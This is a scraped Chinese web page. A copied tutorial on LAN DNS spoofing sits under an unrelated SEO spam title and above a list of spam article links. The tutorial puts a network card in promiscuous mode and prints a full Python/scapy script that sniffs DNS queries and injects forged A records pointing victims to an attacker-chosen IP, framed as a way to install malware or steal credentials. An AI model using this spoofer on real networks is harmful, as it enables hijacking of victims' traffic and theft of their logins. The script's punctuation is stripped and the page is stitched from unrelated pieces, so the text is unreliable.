当前位置: 首页 > news >正文

手机版网站如何做郑州的建设网站有哪些手续

手机版网站如何做,郑州的建设网站有哪些手续,wordpress自动文章时间插件,百度一下做网站假设在一个的局域网内有两个人#xff1a;Bob和Eve。Eve想让Bob访问他创建的恶意网页#xff0c;这样她就可以通过隐藏性的下载给Bob的计算机上安装恶意软件#xff0c;或者可能展示一个欺骗性的站点来试图窃取Bob的认证信息。#xff08;图片来自以上提供的链接#xff0…假设在一个的局域网内有两个人Bob和Eve。Eve想让Bob访问他创建的恶意网页这样她就可以通过隐藏性的下载给Bob的计算机上安装恶意软件或者可能展示一个欺骗性的站点来试图窃取Bob的认证信息。图片来自以上提供的链接 本测试环境均为centos6.5系统环境 一、设置attacker服务器的网卡模式为混杂模式这样就可以捕获局域网内的所有数据包 ifconfig em1 promisc 查看网卡模式ifconfig em1说明网卡已经是混杂模式 二、编写攻击代码 打开dns_spoof.py脚本文件1 #!/usr/bin/env python 2 #-*- coding -*-:utf-8 3 4 from scapy.all import * 5 importtime6 importlogging7 8 logger logging.getLogger(main)9 logging.basicConfig(format%(levelname)s:%(message)s,levellogging.DEBUG)10 logger.setLevel(logging.DEBUG)11 #Set the interface for scapy to use 12 conf.iface br0 13 #Set the spoofed response 14 spoofed_ip 192.168.28.118 15 16 defsend_response(x):17 #Get the requested domain 18 req_domain x[DNS].qd.qname19 logger.info(Found request for req_domain)20 #First,we delete the existing lengths and checksums.. 21 #We will let Scapy re-create them 22 del(x[UDP].len)23 del(x[UDP].chksum)24 del(x[IP].len)25 del(x[IP].chksum)26 #Lets build our response from a copy of the original packet 27 response x.copy()28 #we need to start by changing our response to be from-ds ,or from the access point. 29 response.FCfield 2L 30 #Switch the MAC addresses 31 #response.addr1,response.addr2 x.addr2,x.addr1 32 response.src,response.dst x.dst,x.src33 #Switch the IP addresses 34 response[IP].src,response[IP].dst x[IP].dst,x[IP].src35 #Switch the ports 36 response.sport,response.dport x.dport,x.sport37 #Set the DNS flags 38 response[DNS].qr 1L 39 response[DNS].ra 1L 40 response[DNS].ancount 1 41 #Lets add on the answer section 42 response[DNS].an DNSRR(43 rrname req_domain,44 type A,45 rclass IN,46 ttl 900,47 rdata spoofed_ip48 )49 #Now,we inject the response! 50 sendp(response)51 logger.info(Sent response: req_domain - spoofed_ip \n)52 53 defmain():54 logger.info(Starting to intercept [CTRLC to stop])55 sniff(prnlambda x: send_response(x),lfilterlambda x:x.haslayer(UDP) and x.dport 53)56 57 if __name__ __main__:58 #Make it happen! 59 main() View Code 该脚本将捕获局域网内的DNS的A记录查询 三、演示为了方便演示将本地dns服务器设置为了223.5.5.5 使用dig 223.5.5.5 www.baidu.com命令测试如下本文借鉴了http://jordan-wright.com/blog/2013/11/15/wireless-attacks-with-python-part-one-the-airpwn-attack/的方式脚本直接使用会有问题做了一下调整局域网环境实验成功。 译文连接http://www.oschina.net/translate/wireless-attacks-with-python-part-one-the-airpwn-attack
http://www.zqtcl.cn/news/351054/

相关文章:

  • 十大知名博客网站郑州企业建站公司定制
  • 视频网站如何做引流网站首页 关键词
  • 建设机械网站精英大港做网站
  • 潜山网站建设公司哪里有wordpress相册投票插件
  • 网站建设制作过程网站添加支付功能
  • 网站制作字体即墨公司做网站
  • vue 做pc网站可以吗哪个网站买域名便宜
  • 做销售网站那家好金华住房与城乡建设部网站
  • apple私人免费网站怎么下载无锡网站建设技术
  • 移动应用网站开发阶段作业信息型网站有哪些
  • 监控直播网站开发网站建设与管理总结
  • 青岛城阳网站设计免费网站成品
  • 做服装外贸的网站ghost wordpress
  • 建设银行的网站为什么这么卡网页设计用啥软件
  • 电子商务 网站开发南阳网网站建设
  • 中小型企业网络拓扑图及配置株洲seo网站推广
  • 中国镇江网站如何搭建自己的网址
  • wordpress 自动广告seo搜索引擎优化原理
  • 区块链网站用vue.js做怎么样长春站建筑
  • 集团公司门户网站建设adsl做网站
  • 山东建设监理协会官方网站茂名建站公司模板
  • 烟台做网站案例创业网站推广怎么做
  • php项目网站建设方案书专做药材的网站有哪些
  • 网站表单模板营销型网站建设的5大技巧
  • html手机版网站网站备案后怎么做实名认证
  • 第五冶金建设公司职工大学网站大连工业
  • 网站的基础服务html网站地图生成器
  • 网站开发学徒工作如何设计师培训哪家好
  • 做网站多少钱西宁君博正规株洲在线论坛招聘求职
  • 抚州营销型网站建设殡葬类网站建设